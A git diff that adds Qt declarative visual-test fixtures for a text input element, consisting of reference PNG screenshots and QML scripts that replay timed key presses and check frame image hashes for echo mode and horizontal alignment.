diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png
new file mode 100644
index 00000000..63b17794
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png
new file mode 100644
index 00000000..79246521
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png
new file mode 100644
index 00000000..e77bfde0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png
new file mode 100644
index 00000000..67d7e525
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml
new file mode 100644
index 00000000..ee29db61
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml
@@ -0,0 +1,1043 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "echoMode.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 64
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 80
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 96
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 112
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 128
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 144
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 160
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 176
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 192
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 208
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 224
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 240
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 256
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 272
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 288
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 304
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 320
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 336
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Frame {
+ msec: 352
+ hash: "75bcecaf83ffc9b851894db0be2c02bc"
+ }
+ Key {
+ type: 6
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 368
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 384
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 400
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 416
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 432
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Key {
+ type: 7
+ key: 74
+ modifiers: 33554432
+ text: "4a"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 464
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 480
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 496
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 512
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 528
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 560
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 576
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 592
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 608
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 624
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 640
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 656
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 672
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Frame {
+ msec: 688
+ hash: "1a9f4d47e3982ce68eee8446fd735487"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 704
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 720
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 736
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 752
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 768
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 784
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 800
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 816
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 832
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Frame {
+ msec: 848
+ hash: "9ab137169f2ea0f4b140a6e668f59ad2"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 880
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 896
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 928
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 944
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 960
+ hash: "3080734a2da042b87ef9177cbb314835"
+ }
+ Frame {
+ msec: 976
+ image: "echoMode.1.png"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1008
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1024
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1040
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1072
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1088
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1104
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1120
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1136
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1152
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1168
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1184
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1200
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1216
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Frame {
+ msec: 1232
+ hash: "e591963b05361595383b1a60eec289cb"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1248
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Frame {
+ msec: 1264
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Frame {
+ msec: 1280
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Frame {
+ msec: 1312
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Frame {
+ msec: 1328
+ hash: "8a528bf3110bace8275f6fe33ce528b9"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1344
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1360
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1376
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1392
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1408
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1424
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1440
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1456
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Frame {
+ msec: 1472
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1488
+ hash: "03d56caa0c86b5544d1f5148e0dccd92"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1520
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1536
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1552
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1584
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1600
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1616
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1632
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Frame {
+ msec: 1648
+ hash: "d9aac9ed4ca0ad97b440db3ac7384001"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "a2e8a6a742b11b4f30a2d75df14d5f47"
+ }
+ Frame {
+ msec: 1680
+ hash: "a2e8a6a742b11b4f30a2d75df14d5f47"
+ }
+ Frame {
+ msec: 1696
+ hash: "a2e8a6a742b11b4f30a2d75df14d5f47"
+ }
+ Frame {
+ msec: 1712
+ hash: "a2e8a6a742b11b4f30a2d75df14d5f47"
+ }
+ Frame {
+ msec: 1728
+ hash: "a2e8a6a742b11b4f30a2d75df14d5f47"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Frame {
+ msec: 1776
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Frame {
+ msec: 1792
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Frame {
+ msec: 1824
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Frame {
+ msec: 1840
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Frame {
+ msec: 1856
+ hash: "021641e69fef4720acf6af15d4a2da82"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 1888
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 1904
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 1920
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1936
+ image: "echoMode.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 1968
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 1984
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 2000
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Frame {
+ msec: 2016
+ hash: "46ece14e3a61aefcb28b3c888ac7ea59"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "ffa55ac51f20c82725cadbb445908fd2"
+ }
+ Frame {
+ msec: 2048
+ hash: "ffa55ac51f20c82725cadbb445908fd2"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "ffa55ac51f20c82725cadbb445908fd2"
+ }
+ Frame {
+ msec: 2080
+ hash: "ffa55ac51f20c82725cadbb445908fd2"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2096
+ hash: "e9e2edb9176cb57506a3f130fca15d1e"
+ }
+ Frame {
+ msec: 2112
+ hash: "e9e2edb9176cb57506a3f130fca15d1e"
+ }
+ Frame {
+ msec: 2128
+ hash: "e9e2edb9176cb57506a3f130fca15d1e"
+ }
+ Frame {
+ msec: 2144
+ hash: "e9e2edb9176cb57506a3f130fca15d1e"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "87c3cf93b47a766d6373ecaec7239dd4"
+ }
+ Frame {
+ msec: 2176
+ hash: "87c3cf93b47a766d6373ecaec7239dd4"
+ }
+ Frame {
+ msec: 2192
+ hash: "87c3cf93b47a766d6373ecaec7239dd4"
+ }
+ Frame {
+ msec: 2208
+ hash: "87c3cf93b47a766d6373ecaec7239dd4"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Frame {
+ msec: 2256
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Frame {
+ msec: 2272
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Frame {
+ msec: 2288
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Frame {
+ msec: 2304
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Frame {
+ msec: 2336
+ hash: "1fb4aa190807d169d1ceaff7d9fa92ad"
+ }
+ Key {
+ type: 6
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2368
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2384
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2400
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2416
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2432
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Key {
+ type: 7
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2464
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2480
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Frame {
+ msec: 2496
+ hash: "e9cd789b114befb4637fcff39d4413b0"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2512
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2528
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2544
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2576
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2592
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2608
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2624
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2640
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2656
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2672
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2688
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2704
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2720
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2736
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2752
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2768
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2784
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2800
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2816
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2832
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2848
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2864
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2880
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2896
+ image: "echoMode.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2928
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2944
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2960
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2976
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 2992
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 3008
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 3024
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 3040
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+ Frame {
+ msec: 3056
+ hash: "15f91fda9bcc8a2a9ebf3b9c32f61efb"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png
new file mode 100644
index 00000000..4c04a1b2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml
new file mode 100644
index 00000000..74ee95f6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml
@@ -0,0 +1,107 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "hAlign.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 48
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 64
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 80
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 96
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 112
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 128
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 144
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 160
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 176
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 192
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 208
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 224
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 240
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 256
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 272
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 288
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 304
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 320
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 336
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 352
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 368
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 384
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+ Frame {
+ msec: 400
+ hash: "93758371bdc69b81077989e911f62fb0"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
new file mode 100644
index 00000000..fc34b1aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
new file mode 100644
index 00000000..fc34b1aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
new file mode 100644
index 00000000..fc34b1aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
new file mode 100644
index 00000000..fb2c90b8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
new file mode 100644
index 00000000..fb2c90b8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
new file mode 100644
index 00000000..e2231ffc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
Binary files differ
